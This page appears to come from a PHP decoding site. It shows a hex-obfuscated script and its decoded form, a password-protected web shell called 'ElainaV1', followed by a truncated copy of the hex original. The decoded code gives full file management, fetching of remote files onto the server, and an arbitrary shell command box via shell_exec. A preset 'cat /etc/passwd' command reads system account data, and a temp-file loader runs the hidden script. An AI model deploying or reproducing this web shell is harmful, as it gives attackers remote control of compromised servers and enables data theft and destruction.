Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$script = "\x3C\x3F\x70\x68\x70\x0A\x73\x65\x73\x73\x69\x6F\x6E\x5F\x73\x74\x61\x72\x74\x2..
Decoded Output download
<? $script = "<?php
session_start();
$stored_hashed_password = '$2a$12$mGOsJcNQS.InQGawGJXovO/7qe9/ZSyEjoqFw/ruDfSw.ovn7D6xa';
if (!isset($_SESSION['authenticated'])) {
if (isset($_POST['pass']) && password_verify($_POST['pass'], $stored_hashed_password)) {
$_SESSION['authenticated'] = true;
} else {
show_login_page();
}
}
function show_login_page($message = "") {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
</head>
<body>
<form action="" method="post">
<div align="center">
<input type="password" name="pass" placeholder=" Password">
<input type="submit" name="submit" value="Login">
</div>
</form>
<?php echo $message; ?>
</body>
</html>
<?php
exit;
}
?>
<?php
$host = $_SERVER['HTTP_HOST'];
$additional_title = "ElainaV1";
function generateDirectoryLinks($dir) {
$dir = str_replace("\", "/", $dir);
$dirs = explode("/", $dir);
$links = '';
foreach ($dirs as $key => $value) {
if ($value == "" && $key == 0){
$links .= '<i class="fa fa-folder-o"></i> : <a href="/"><font color="#FF1493">/</a>';
continue;
}
$links .= '<a href="?dir=';
for ($i=0; $i <= $key ; $i++) {
$links .= "$dirs[$i]";
if ($key !== $i) $links .= "/";
}
$links .= '">'.$value.'</a>/';
}
return $links;
}
function showFiles($dir) {
$scan = @scandir($dir); // Use @ to suppress warnings
if ($scan === false) {
echo "<tr><td colspan='4'>Error: Unable to scan directory.</td></tr>";
return;
}
// Pisahkan folder dan file
$folders = array();
$files = array();
foreach ($scan as $item) {
if ($item == '.' || $item == '..') continue;
$path = $dir . '/' . $item;
if (is_dir($path)) {
$folders[] = $item;
} else {
$files[] = $item;
}
}
// Tampilkan folder terlebih dahulu, kemudian file
foreach ($folders as $item) {
$path = $dir . '/' . $item;
$size = '--'; // Ukuran tidak berlaku untuk folder
$permission = substr(sprintf('%o', fileperms($path)), -4); // Get last 4 characters of permission
$action = generateFolderActions($dir, $path);
echo "<tr>
<td><a href=\"?dir=".urlencode($path)."\">" . $item . "</a></td>
<td><center>$size</center></td>
<td><center>$permission</center></td>
<td><center>$action</center></td>
</tr>";
}
foreach ($files as $item) {
$path = $dir . '/' . $item;
$size = formatSize(@filesize($path)); // Use @ to suppress warnings
$permission = substr(sprintf('%o', fileperms($path)), -4); // Get last 4 characters of permission
$action = generateFileActions($dir, $path, $item, $permission);
echo "<tr>
<td><a href=\"?dir=".urlencode($path)."\">" . $item . "</a></td>
<td><center>$size</center></td>
<td><center>$permission</center></td>
<td><center>$action</center></td>
</tr>";
}
}
function uploadFileFromUrl($url, $dir) {
$fileName = basename($url);
$filePath = $dir . '/' . $fileName;
$content = file_get_contents($url);
if ($content === false) {
echo "<script>alert('Failed to fetch file content from URL!');</script>";
return;
}
if (file_put_contents($filePath, $content) !== false) {
echo "<script>alert('File uploaded successfully!'); window.location='?dir=".$dir."';</script>";
} else {
echo "<script>alert('Failed to upload file!');</script>";
}
}
function formatSize($bytes) {
$units = array('B', 'KB', 'MB', 'GB', 'TB');
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= (1 << (10 * $pow));
return round($bytes, 2) . ' ' . $units[$pow];
}
function generateFileActions($dir, $path, $item, $permission) {
return '<a href="?dir='.$dir.'&open='.$path.'" class="button">Edit</a>
<a href="?dir='.$dir.'&delete='.$path.'" class="button2">Delete</a>
<a href="?dir='.$dir.'&rename='.$path.'" class="button">Rename</a>';
}
function createFileForm($dir) {
echo "<br><br><center>
<form method='post'>
Create File :
<input type='text' name='filename' placeholder='File Name'>
<br>
<textarea name='filecontent' placeholder='File Content'></textarea>
<input type='submit' name='addfile' value='Create File'>
</form><br></center>";
}
function generateFolderActions($dir, $path) {
return '<a href="?dir='.$dir.'&delete='.$path.'" class="button2">Delete</a>
<a href="?dir='.$dir.'&rename='.$path.'" class="button">Rename</a>';
}
function renameFile($dir) {
if (isset($_GET['rename'])) {
echo '<br><br><center><form method="post">
New Name: <input type="text" name="newname" value="'.basename($_GET['rename']).'">
<input type="submit" name="rename" value="Rename">
</form></center>';
if (isset($_POST['rename'])) {
$oldname = $_GET['rename'];
$newname = dirname($oldname) . '/' . $_POST['newname'];
if (rename($oldname, $newname)) {
echo "<script>alert('File renamed successfully!'); window.location='?dir=".$dir."';</script>";
} else {
echo "<script>alert('Failed to rename file!');</script>";
}
}
}
}
function deleteFolder($dir) {
if (isset($_GET['deletefolder'])) {
$folderToDelete = $_GET['deletefolder'];
// Periksa apakah folder kosong
if (!is_dirEmpty($folderToDelete)) {
echo "<script>alert('Folder is not empty!');</script>";
return;
}
// Hapus folder jika kosong
if (rmdir($folderToDelete)) {
echo "<script>alert('Folder deleted successfully!'); window.location='?dir=".urlencode($dir)."';</script>";
} else {
echo "<script>alert('Failed to delete folder!');</script>";
}
}
}
// Fungsi untuk memeriksa apakah sebuah folder kosong
function is_dirEmpty($dir) {
if (!is_readable($dir)) return NULL;
return (count(scandir($dir)) == 2);
}
function createFile($dir) {
if (isset($_POST['addfile'])) {
$filename = $_POST['filename'];
$filecontent = $_POST['filecontent'];
$filepath = $dir . '/' . $filename;
if (file_exists($filepath)) {
echo "<script>alert('File already exists!');</script>";
} else {
if (file_put_contents($filepath, $filecontent) !== false) {
echo "<script>alert('File created successfully!'); window.location='?dir=".$dir."';</script>";
} else {
echo "<script>alert('Failed to create file!');</script>";
}
}
}
}
function createFolderForm($dir) {
echo "<br><form method='post'>
<input type='text' name='okfolder' placeholder='Folder Name'>
<input type='submit' name='addfolder' value='>'>
</form><br>";
}
function createFolder($dir) {
if(isset($_POST['addfolder'])){
$newFolderName = isset($_POST['okfolder']) ? $_POST['okfolder'] : '';
if(!empty($newFolderName)){
$newFolderPath = $dir . '/' . $newFolderName;
if(mkdir($newFolderPath, 0777)){
echo "<script>alert('Folder created successfully!'); window.location='?dir=".$dir."';</script>";
} else {
echo "<script>alert('Failed to create folder!');</script>";
}
} else {
echo "<script>alert('Folder name cannot be empty!');</script>";
}
}
}
function deleteFile($dir) {
if (isset($_GET['delete'])) {
$fileToDelete = $_GET['delete'];
if (unlink($fileToDelete)) {
echo "<script>alert('File deleted successfully!'); window.location='?dir=".$dir."';</script>";
} else {
echo "<script>alert('Failed to delete file!');</script>";
}
}
}
// Handle edit file request
function editFile($dir) {
if (isset($_GET['open'])) {
$filePath = $_GET['open'];
if (isset($_POST['edit'])) {
$content = $_POST['edit'];
if (file_put_contents($filePath, $content) !== false) {
echo "<script>alert('File edited successfully!'); window.location='?dir=".$dir."';</script>";
} else {
echo "<script>alert('Failed to edit file!');</script>";
}
} else {
echo '
<br />
<style>
table {
display: none;
}
</style>
<form method="post">
<textarea name="edit">'.htmlspecialchars(file_get_contents($filePath)).'</textarea>
<input type="submit" name="save" value="Save">
</form>
';
}
}
}
function runShellCommand($command) {
// Jalankan perintah shell
$output = shell_exec($command);
// Tampilkan hasilnya
echo "<br><br><textarea style='width: 100%; height: 200px;'>$output</textarea>";
}
$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
if (isset($_POST['uploadurl'])) {
$url = $_POST['url'];
uploadFileFromUrl($url, $dir);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?php echo $host . " - " . $additional_title; ?></title>
<style>
body {
background-image: url('https://i.ibb.co/HgP6MPc/24903e950a0bfde6b3e1261226e9ecf0d772b73d-removebg-preview-1.png'); /* Ganti path/to/your/image.jpg dengan path gambar Anda */
background-size: cover;
background-repeat: no-repeat;
background-color: black;
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
}
.container {
max-width: 1500px;
margin: 20px auto;
padding: 20px;
background-color: rgba(0, 0, 0, 0.5); /* Latar belakang hitam dengan 50% transparansi */
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
h1 {
color: #333;
text-align: center;
}
table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
}
th, td {
border: 1px solid #ddd;
padding: 10px;
text-align: left;
}
th {
background-color: #f2f2f2;
}
.button {
background-color: #007bff;
color: #fff;
border: none;
border-radius: 4px;
padding: 8px 16px;
text-decoration: none;
cursor: pointer;
margin-right: 10px;
display: inline-block;
text-align: center;
}
.button:hover {
background-color: #0056b3;
}
.button1 {
background-color: #e8f002;
color: #fff;
border: none;
border-radius: 4px;
padding: 8px 16px;
text-decoration: none;
cursor: pointer;
margin-right: 10px;
display: inline-block;
text-align: center;
}
.button1:hover {
background-color: #218838;
}
.button2 {
background-color: #dc3545;
color: #fff;
border: none;
border-radius: 4px;
padding: 8px 16px;
text-decoration: none;
cursor: pointer;
margin-right: 10px;
display: inline-block;
text-align: center;
}
.button2:hover {
background-color: #c82333;
}
footer {
text-align: center; /* Teks berada di tengah */
}
</style>
</head>
<body>
<!-- Konten body -->
<div class="container">
<h1><?php echo $host . " - " . $additional_title; ?></h1>
<?php
?>
<?php
echo generateDirectoryLinks($dir);
echo "</font>";
echo "[<a href='?'> Home </a>]";
echo "<br>";
echo "<div style='text-align: right;'><a href='?dir=$dir&wibu=createfile' class='button1'>Create File</a></div>";
echo '<form method="post">
<input type="text" name="url" placeholder="Enter URL...">
<input type="submit" name="uploadurl" value="Upload from URL">
</form>';
echo' <form enctype="multipart/form-data" method="post">
<input type="file" name="upfile">
<input type="submit" name="up" value="Uploaded ! ">
</form>';
if(isset($_POST['up'])){
$uploadfile = $_FILES['upfile']['name'];
if(move_uploaded_file
($_FILES['upfile']['tmp_name'],$dir.'/'.$_FILES['upfile']['name'])){
echo"<br>File was successfully uploaded ! ";
}
else {
echo "<br>Upload failed ! ";
}
}
echo "<table>
<tr>
<th>Nama File / Folder</th>
<th>Size</th>
<th>permission</th>
<th>Action</th>
</tr>";
showFiles($dir);
echo "</table>";
if (isset($_GET['wibu']) && $_GET['wibu'] == 'createfile') {
createFileForm($dir);
}
createFolder($dir);
createFile($dir);
deleteFile($dir);
renameFile($dir);
editFile($dir);
echo createFolderForm($dir);
?>
<br>
<center>
<h1>Execution</h1>
<form method="GET">
<input type="text" name="cmd" placeholder="Enter command...">
<button type="submit">></button>
</form>
<?php
if (isset($_GET['cmd'])) {
$command = $_GET['cmd'];
runShellCommand($command);
}
?>
<div style='text-align: right;'>
<form method="GET">
<input type="text" name="etc" value="cat /etc/passwd">
<button type="submit">></button>
</form>
</div>
<?php
if (isset($_GET['etc'])) {
$command = $_GET['etc'];
runShellCommand($command);
}
?>
<footer>
<p>© 2024 - Lutfifakee768</p>
</footer>
</div>
</body>
</html>
";
$temp_file = tempnam(sys_get_temp_dir(), 'script_');
file_put_contents($temp_file, $script);
include $temp_file;
unlink($temp_file); ?>
Did this file decode correctly?
Original Code
$script = "\x3C\x3F\x70\x68\x70\x0A\x73\x65\x73\x73\x69\x6F\x6E\x5F\x73\x74\x61\x72\x74\x28\x29\x3B\x0A\x24\x73\x74\x6F\x72\x65\x64\x5F\x68\x61\x73\x68\x65\x64\x5F\x70\x61\x73\x73\x77\x6F\x72\x64\x20\x3D\x20\x27\x24\x32\x61\x24\x31\x32\x24\x6D\x47\x4F\x73\x4A\x63\x4E\x51\x53\x2E\x49\x6E\x51\x47\x61\x77\x47\x4A\x58\x6F\x76\x4F\x2F\x37\x71\x65\x39\x2F\x5A\x53\x79\x45\x6A\x6F\x71\x46\x77\x2F\x72\x75\x44\x66\x53\x77\x2E\x6F\x76\x6E\x37\x44\x36\x78\x61\x27\x3B\x0A\x69\x66\x20\x28\x21\x69\x73\x73\x65\x74\x28\x24\x5F\x53\x45\x53\x53\x49\x4F\x4E\x5B\x27\x61\x75\x74\x68\x65\x6E\x74\x69\x63\x61\x74\x65\x64\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x70\x61\x73\x73\x27\x5D\x29\x20\x26\x26\x20\x70\x61\x73\x73\x77\x6F\x72\x64\x5F\x76\x65\x72\x69\x66\x79\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x70\x61\x73\x73\x27\x5D\x2C\x20\x24\x73\x74\x6F\x72\x65\x64\x5F\x68\x61\x73\x68\x65\x64\x5F\x70\x61\x73\x73\x77\x6F\x72\x64\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x5F\x53\x45\x53\x53\x49\x4F\x4E\x5B\x27\x61\x75\x74\x68\x65\x6E\x74\x69\x63\x61\x74\x65\x64\x27\x5D\x20\x3D\x20\x74\x72\x75\x65\x3B\x0A\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x73\x68\x6F\x77\x5F\x6C\x6F\x67\x69\x6E\x5F\x70\x61\x67\x65\x28\x29\x3B\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x73\x68\x6F\x77\x5F\x6C\x6F\x67\x69\x6E\x5F\x70\x61\x67\x65\x28\x24\x6D\x65\x73\x73\x61\x67\x65\x20\x3D\x20\x22\x22\x29\x20\x7B\x0A\x20\x20\x20\x20\x3F\x3E\x0A\x20\x20\x20\x20\x3C\x21\x44\x4F\x43\x54\x59\x50\x45\x20\x68\x74\x6D\x6C\x3E\x0A\x20\x20\x20\x20\x3C\x68\x74\x6D\x6C\x20\x6C\x61\x6E\x67\x3D\x22\x65\x6E\x22\x3E\x0A\x20\x20\x20\x20\x3C\x68\x65\x61\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6D\x65\x74\x61\x20\x63\x68\x61\x72\x73\x65\x74\x3D\x22\x55\x54\x46\x2D\x38\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6D\x65\x74\x61\x20\x68\x74\x74\x70\x2D\x65\x71\x75\x69\x76\x3D\x22\x58\x2D\x55\x41\x2D\x43\x6F\x6D\x70\x61\x74\x69\x62\x6C\x65\x22\x20\x63\x6F\x6E\x74\x65\x6E\x74\x3D\x22\x49\x45\x3D\x65\x64\x67\x65\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6D\x65\x74\x61\x20\x6E\x61\x6D\x65\x3D\x22\x76\x69\x65\x77\x70\x6F\x72\x74\x22\x20\x63\x6F\x6E\x74\x65\x6E\x74\x3D\x22\x77\x69\x64\x74\x68\x3D\x64\x65\x76\x69\x63\x65\x2D\x77\x69\x64\x74\x68\x2C\x20\x69\x6E\x69\x74\x69\x61\x6C\x2D\x73\x63\x61\x6C\x65\x3D\x31\x2E\x30\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x69\x74\x6C\x65\x3E\x4C\x6F\x67\x69\x6E\x3C\x2F\x74\x69\x74\x6C\x65\x3E\x0A\x20\x20\x20\x20\x3C\x2F\x68\x65\x61\x64\x3E\x0A\x20\x20\x20\x20\x3C\x62\x6F\x64\x79\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x6F\x72\x6D\x20\x61\x63\x74\x69\x6F\x6E\x3D\x22\x22\x20\x6D\x65\x74\x68\x6F\x64\x3D\x22\x70\x6F\x73\x74\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x64\x69\x76\x20\x61\x6C\x69\x67\x6E\x3D\x22\x63\x65\x6E\x74\x65\x72\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x70\x61\x73\x73\x77\x6F\x72\x64\x22\x20\x6E\x61\x6D\x65\x3D\x22\x70\x61\x73\x73\x22\x20\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72\x3D\x22\x26\x6E\x62\x73\x70\x3B\x50\x61\x73\x73\x77\x6F\x72\x64\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x73\x75\x62\x6D\x69\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x73\x75\x62\x6D\x69\x74\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x4C\x6F\x67\x69\x6E\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x64\x69\x76\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x3F\x70\x68\x70\x20\x65\x63\x68\x6F\x20\x24\x6D\x65\x73\x73\x61\x67\x65\x3B\x20\x3F\x3E\x0A\x20\x20\x20\x20\x3C\x2F\x62\x6F\x64\x79\x3E\x0A\x20\x20\x20\x20\x3C\x2F\x68\x74\x6D\x6C\x3E\x0A\x20\x20\x20\x20\x3C\x3F\x70\x68\x70\x0A\x20\x20\x20\x20\x65\x78\x69\x74\x3B\x0A\x7D\x0A\x3F\x3E\x0A\x3C\x3F\x70\x68\x70\x0A\x24\x68\x6F\x73\x74\x20\x3D\x20\x24\x5F\x53\x45\x52\x56\x45\x52\x5B\x27\x48\x54\x54\x50\x5F\x48\x4F\x53\x54\x27\x5D\x3B\x0A\x24\x61\x64\x64\x69\x74\x69\x6F\x6E\x61\x6C\x5F\x74\x69\x74\x6C\x65\x20\x3D\x20\x22\x45\x6C\x61\x69\x6E\x61\x56\x31\x22\x3B\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x67\x65\x6E\x65\x72\x61\x74\x65\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x4C\x69\x6E\x6B\x73\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x24\x64\x69\x72\x20\x3D\x20\x73\x74\x72\x5F\x72\x65\x70\x6C\x61\x63\x65\x28\x22\x5C\x5C\x22\x2C\x20\x22\x2F\x22\x2C\x20\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x24\x64\x69\x72\x73\x20\x3D\x20\x65\x78\x70\x6C\x6F\x64\x65\x28\x22\x2F\x22\x2C\x20\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x24\x6C\x69\x6E\x6B\x73\x20\x3D\x20\x27\x27\x3B\x0A\x20\x20\x20\x20\x66\x6F\x72\x65\x61\x63\x68\x20\x28\x24\x64\x69\x72\x73\x20\x61\x73\x20\x24\x6B\x65\x79\x20\x3D\x3E\x20\x24\x76\x61\x6C\x75\x65\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x24\x76\x61\x6C\x75\x65\x20\x3D\x3D\x20\x22\x22\x20\x26\x26\x20\x24\x6B\x65\x79\x20\x3D\x3D\x20\x30\x29\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6C\x69\x6E\x6B\x73\x20\x2E\x3D\x20\x27\x3C\x69\x20\x63\x6C\x61\x73\x73\x3D\x22\x66\x61\x20\x66\x61\x2D\x66\x6F\x6C\x64\x65\x72\x2D\x6F\x22\x3E\x3C\x2F\x69\x3E\x20\x3A\x20\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x2F\x22\x3E\x3C\x66\x6F\x6E\x74\x20\x63\x6F\x6C\x6F\x72\x3D\x22\x23\x46\x46\x31\x34\x39\x33\x22\x3E\x2F\x3C\x2F\x61\x3E\x27\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x6F\x6E\x74\x69\x6E\x75\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6C\x69\x6E\x6B\x73\x20\x2E\x3D\x20\x27\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x3F\x64\x69\x72\x3D\x27\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6F\x72\x20\x28\x24\x69\x3D\x30\x3B\x20\x24\x69\x20\x3C\x3D\x20\x24\x6B\x65\x79\x20\x3B\x20\x24\x69\x2B\x2B\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6C\x69\x6E\x6B\x73\x20\x2E\x3D\x20\x22\x24\x64\x69\x72\x73\x5B\x24\x69\x5D\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x24\x6B\x65\x79\x20\x21\x3D\x3D\x20\x24\x69\x29\x20\x24\x6C\x69\x6E\x6B\x73\x20\x2E\x3D\x20\x22\x2F\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6C\x69\x6E\x6B\x73\x20\x2E\x3D\x20\x27\x22\x3E\x27\x2E\x24\x76\x61\x6C\x75\x65\x2E\x27\x3C\x2F\x61\x3E\x2F\x27\x3B\x0A\x20\x20\x20\x20\x7D\x0A\x0A\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6E\x20\x24\x6C\x69\x6E\x6B\x73\x3B\x0A\x7D\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x73\x68\x6F\x77\x46\x69\x6C\x65\x73\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x24\x73\x63\x61\x6E\x20\x3D\x20\x40\x73\x63\x61\x6E\x64\x69\x72\x28\x24\x64\x69\x72\x29\x3B\x20\x2F\x2F\x20\x55\x73\x65\x20\x40\x20\x74\x6F\x20\x73\x75\x70\x70\x72\x65\x73\x73\x20\x77\x61\x72\x6E\x69\x6E\x67\x73\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x24\x73\x63\x61\x6E\x20\x3D\x3D\x3D\x20\x66\x61\x6C\x73\x65\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x74\x72\x3E\x3C\x74\x64\x20\x63\x6F\x6C\x73\x70\x61\x6E\x3D\x27\x34\x27\x3E\x45\x72\x72\x6F\x72\x3A\x20\x55\x6E\x61\x62\x6C\x65\x20\x74\x6F\x20\x73\x63\x61\x6E\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x79\x2E\x3C\x2F\x74\x64\x3E\x3C\x2F\x74\x72\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6E\x3B\x0A\x20\x20\x20\x20\x7D\x0A\x0A\x20\x20\x20\x20\x2F\x2F\x20\x50\x69\x73\x61\x68\x6B\x61\x6E\x20\x66\x6F\x6C\x64\x65\x72\x20\x64\x61\x6E\x20\x66\x69\x6C\x65\x0A\x20\x20\x20\x20\x24\x66\x6F\x6C\x64\x65\x72\x73\x20\x3D\x20\x61\x72\x72\x61\x79\x28\x29\x3B\x0A\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x73\x20\x3D\x20\x61\x72\x72\x61\x79\x28\x29\x3B\x0A\x0A\x20\x20\x20\x20\x66\x6F\x72\x65\x61\x63\x68\x20\x28\x24\x73\x63\x61\x6E\x20\x61\x73\x20\x24\x69\x74\x65\x6D\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x24\x69\x74\x65\x6D\x20\x3D\x3D\x20\x27\x2E\x27\x20\x7C\x7C\x20\x24\x69\x74\x65\x6D\x20\x3D\x3D\x20\x27\x2E\x2E\x27\x29\x20\x63\x6F\x6E\x74\x69\x6E\x75\x65\x3B\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x70\x61\x74\x68\x20\x3D\x20\x24\x64\x69\x72\x20\x2E\x20\x27\x2F\x27\x20\x2E\x20\x24\x69\x74\x65\x6D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x5F\x64\x69\x72\x28\x24\x70\x61\x74\x68\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x6F\x6C\x64\x65\x72\x73\x5B\x5D\x20\x3D\x20\x24\x69\x74\x65\x6D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x73\x5B\x5D\x20\x3D\x20\x24\x69\x74\x65\x6D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x7D\x0A\x0A\x20\x20\x20\x20\x2F\x2F\x20\x54\x61\x6D\x70\x69\x6C\x6B\x61\x6E\x20\x66\x6F\x6C\x64\x65\x72\x20\x74\x65\x72\x6C\x65\x62\x69\x68\x20\x64\x61\x68\x75\x6C\x75\x2C\x20\x6B\x65\x6D\x75\x64\x69\x61\x6E\x20\x66\x69\x6C\x65\x0A\x20\x20\x20\x20\x66\x6F\x72\x65\x61\x63\x68\x20\x28\x24\x66\x6F\x6C\x64\x65\x72\x73\x20\x61\x73\x20\x24\x69\x74\x65\x6D\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x70\x61\x74\x68\x20\x3D\x20\x24\x64\x69\x72\x20\x2E\x20\x27\x2F\x27\x20\x2E\x20\x24\x69\x74\x65\x6D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x73\x69\x7A\x65\x20\x3D\x20\x27\x2D\x2D\x27\x3B\x20\x2F\x2F\x20\x55\x6B\x75\x72\x61\x6E\x20\x74\x69\x64\x61\x6B\x20\x62\x65\x72\x6C\x61\x6B\x75\x20\x75\x6E\x74\x75\x6B\x20\x66\x6F\x6C\x64\x65\x72\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x20\x3D\x20\x73\x75\x62\x73\x74\x72\x28\x73\x70\x72\x69\x6E\x74\x66\x28\x27\x25\x6F\x27\x2C\x20\x66\x69\x6C\x65\x70\x65\x72\x6D\x73\x28\x24\x70\x61\x74\x68\x29\x29\x2C\x20\x2D\x34\x29\x3B\x20\x2F\x2F\x20\x47\x65\x74\x20\x6C\x61\x73\x74\x20\x34\x20\x63\x68\x61\x72\x61\x63\x74\x65\x72\x73\x20\x6F\x66\x20\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x61\x63\x74\x69\x6F\x6E\x20\x3D\x20\x67\x65\x6E\x65\x72\x61\x74\x65\x46\x6F\x6C\x64\x65\x72\x41\x63\x74\x69\x6F\x6E\x73\x28\x24\x64\x69\x72\x2C\x20\x24\x70\x61\x74\x68\x29\x3B\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x74\x72\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x64\x3E\x3C\x61\x20\x68\x72\x65\x66\x3D\x5C\x22\x3F\x64\x69\x72\x3D\x22\x2E\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x28\x24\x70\x61\x74\x68\x29\x2E\x22\x5C\x22\x3E\x22\x20\x2E\x20\x24\x69\x74\x65\x6D\x20\x2E\x20\x22\x3C\x2F\x61\x3E\x3C\x2F\x74\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x64\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x24\x73\x69\x7A\x65\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x3C\x2F\x74\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x64\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x24\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x3C\x2F\x74\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x64\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x24\x61\x63\x74\x69\x6F\x6E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x3C\x2F\x74\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x74\x72\x3E\x22\x3B\x0A\x20\x20\x20\x20\x7D\x0A\x0A\x20\x20\x20\x20\x66\x6F\x72\x65\x61\x63\x68\x20\x28\x24\x66\x69\x6C\x65\x73\x20\x61\x73\x20\x24\x69\x74\x65\x6D\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x70\x61\x74\x68\x20\x3D\x20\x24\x64\x69\x72\x20\x2E\x20\x27\x2F\x27\x20\x2E\x20\x24\x69\x74\x65\x6D\x3B\x0A\x20\x20\x20\x20\x20\x20\x